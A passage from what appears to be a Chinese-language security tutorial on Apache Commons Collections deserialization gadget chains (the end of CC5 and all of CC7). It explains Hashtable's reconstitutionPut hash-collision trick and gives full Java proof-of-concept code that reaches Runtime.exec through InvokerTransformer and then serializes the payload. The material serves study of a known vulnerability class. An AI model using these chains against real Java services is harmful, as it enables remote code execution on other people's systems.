Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);

serialize(badAttributeValueExpException);
deserialize("hack.bin");
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object o) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("hack.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
out.writeObject(o);
out.close();
fileOutputStream.close();
}
}

CC7

CC7链后半段与CC1、CC5相似,区别是通过AbstractMap的equals方法来调用LazyMap的get,再用Hashtable的reconstitutionPut方法调用equals,Hashtable关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class Hashtable<K,V> extends Dictionary<K,V> implements Map<K,V>, Cloneable, java.io.Serializable {
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
int origlength = s.readInt();
int elements = s.readInt();
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
for (; elements > 0; elements--) {
K key = (K)s.readObject();
V value = (V)s.readObject();
reconstitutionPut(table, key, value);
}
}
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
if (value == null) {
throw new java.io.StreamCorruptedException();
}
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
}

注意到e.hash == hash的判断,因此需要对两个输入对象进行哈希碰撞,在Java中存在一个”yy”与”zZ”的哈希碰撞,于是可以顺利写出调用链,其中lazyMap0.remove(“yy”)是因为判断yy是否存在后会向lazyMap0添加一个yy的键。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public class CC7 {
public static void main(String[] args) throws Exception{
Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
HashMap<Object, Object> map = new HashMap<>();
HashMap<Object, Object> map0 = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.put("yy", 1);
Map lazyMap0 = LazyMap.decorate(map0, chainedTransformer);
lazyMap0.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap, 1);
hashtable.put(lazyMap0, 2);

Field iTransformersField = chainedTransformer.getClass().getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(chainedTransformer, transformers);

lazyMap0.remove("yy");
serialize(hashtable);
deserialize("hack.bin");
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object o) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("hack.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
out.writeObject(o);
out.close();
fileOutputStream.close();
}
}

总结

一张图来概括